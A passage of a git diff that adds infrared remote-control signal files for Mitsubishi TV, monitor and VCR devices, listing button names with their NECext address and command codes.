parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 04 00 00 00 +# +name: EXT1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 05 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 05 00 00 00 +# +name: TV_CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV_2_(MON) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 2_(MON) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: SCAN_^(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_CH^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: SCAN^(CH^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0B 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0C 00 00 00 +# +name: EXT2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0D 00 00 00 +# +name: TV_Q.V. +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: Q.V._(QUICK_VIEW) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_3_(TUE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: 3_(TUE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: SCAN_V(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_CHV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: SCANV(CHV) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: EXPAND +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 13 00 00 00 +# +name: TV_OFF-T_OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: OFF-T_OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_OFF-T/OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: OFF-T/OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: OFF-T +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: OFF-TV/QTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_SLEEP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_4_(WED) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: 4_(WED) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: INPUT_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: ANT_A/B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: INPUTV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: TV_DISP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DISP_(DISPLAY) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DATA_ON_SCREEN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_INFO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_5_(THU) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: 5_(THU) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 23 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 27 00 00 00 +# +name: TV_6_(FRI) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: 6_(FRI) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2B 00 00 00 +# +name: TV_7_(SAT) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: 7_(SAT) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 33 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 34 00 00 00 +# +name: TV_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 36 00 00 00 +# +name: TV_8_(M-F) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: 8_(M-F) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: ANT_A/B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 39 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_INPUT_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: INPUT_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: VIDEO/TV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: INPUT^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3B 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3D 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3D 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3E 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_VIDEO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: VIDEO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: FUNCTION_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: VIDEO^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_ADJ_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJ_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_ADJUST_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJ_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJUST_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJ(ADJUST)_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: ADJUST^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_VIDEO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 48 00 00 00 +# +name: VIDEO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 48 00 00 00 +# +name: VIDEOV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 48 00 00 00 +# +name: TV_ADJ_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ADJ_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_ADJUST_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ADJ_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ADJUST_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ADJ(ADJUST)_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: ADJUSTV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_EXCH_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: SQV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4E 00 00 00 +# +name: TV_SQV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4E 00 00 00 +# +name: TV_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_AUDIO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: AUDIO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: FUNCTION_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: AUDIO^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_MODE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: TV_AUDIO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 58 00 00 00 +# +name: AUDIO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 58 00 00 00 +# +name: AUDIOV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 58 00 00 00 +# +name: TV_SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: -2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: TV_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: -5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 66 00 00 00 +# +name: UNKNOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 66 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 67 00 00 00 +# +name: PAUSE(FREEZE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 67 00 00 00 +# +name: FREEZE(PAUSE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 67 00 00 00 +# +name: PIP_FREEZE(PAUSE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 67 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: TV_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: TV_POSITION +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6E 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6E 00 00 00 +# +name: -4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6E 00 00 00 +# +name: REC_(STARSIGHT) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 75 00 00 00 +# +name: TV_PIP_CH_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 76 00 00 00 +# +name: TV_PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: -1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7D 00 00 00 +# +name: TV_HOME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7D 00 00 00 +# +name: TV_PIP_CH_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7E 00 00 00 +# +name: TV_EXCH +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7F 00 00 00 +# +name: EXCH +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7F 00 00 00 +# +name: EXCH_(EXCHANGE) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7F 00 00 00 +# +name: -3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7F 00 00 00 +# +name: EXT_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 80 00 00 00 +# +name: MONO-CHROME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 81 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 82 00 00 00 +# +name: CONT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 83 00 00 00 +# +name: EXT_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 88 00 00 00 +# +name: BRIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 8B 00 00 00 +# +name: EXT_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 90 00 00 00 +# +name: SHARPNESS +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 93 00 00 00 +# +name: SET_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 94 00 00 00 +# +name: VTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 98 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 99 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 9B 00 00 00 +# +name: SET_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 9C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A0 00 00 00 +# +name: SEPARATE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A1 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A2 00 00 00 +# +name: TINT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A3 00 00 00 +# +name: H.SIZE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A4 00 00 00 +# +name: OVER/UNDER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A7 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A8 00 00 00 +# +name: ON_GREEN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A9 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: AA 00 00 00 +# +name: BALANCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: AB 00 00 00 +# +name: V.SIZE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: AC 00 00 00 +# +name: 64 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B0 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B2 00 00 00 +# +name: TREBLE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B3 00 00 00 +# +name: H.POS +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B4 00 00 00 +# +name: SUPERIMP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B7 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B8 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 47 00 00 00 +command: BA 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: 47 00 00 00 +command: BB 00 00 00 +# +name: V.POS +type: parsed +protocol: NECext +address: 47 00 00 00 +command: BC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir new file mode 100644 index 000000000..87408748a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir @@ -0,0 +1,1040 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_1_(SUN) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCRA_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCRA_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCRA_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCRA_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VIDEO/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCR_2_(MON) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCRA_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCRA_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCRA_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCRA_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCR_3_(TUE) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCRA_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCR_STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCRA_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCRA_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: VCR_4_(WED) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCRA_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: VCR_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1A 00 00 00 +# +name: VCR_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1A 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCRA_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: VCR_5_(THU) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCRA_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: VCR_FF/SRCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCR_FF/SEARCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCRA_FF/FWD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: VCR_Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCR_QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCRA_SQV/QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: VCR_DISP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCRA_INFO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: VCR_6_(FRI) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCRA_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: VCR_REW/SRCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCR_REW/SEARCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCRA_REW/REV_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: VCR_OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCR_OFF-T/OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: OFF-T +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCRA_SLEEP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2F 00 00 00 +# +name: VCR_7_(SAT) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: VCRA_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCR_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCRA_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCR_8_(M-F) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCRA_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCR_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCR_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCRA_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCR_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_VIDEO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCRA_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_ADJ_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCR_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCRA_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCR_VIDEO_V +type: parsed +protocol: NECext +address: 57 00 00 00 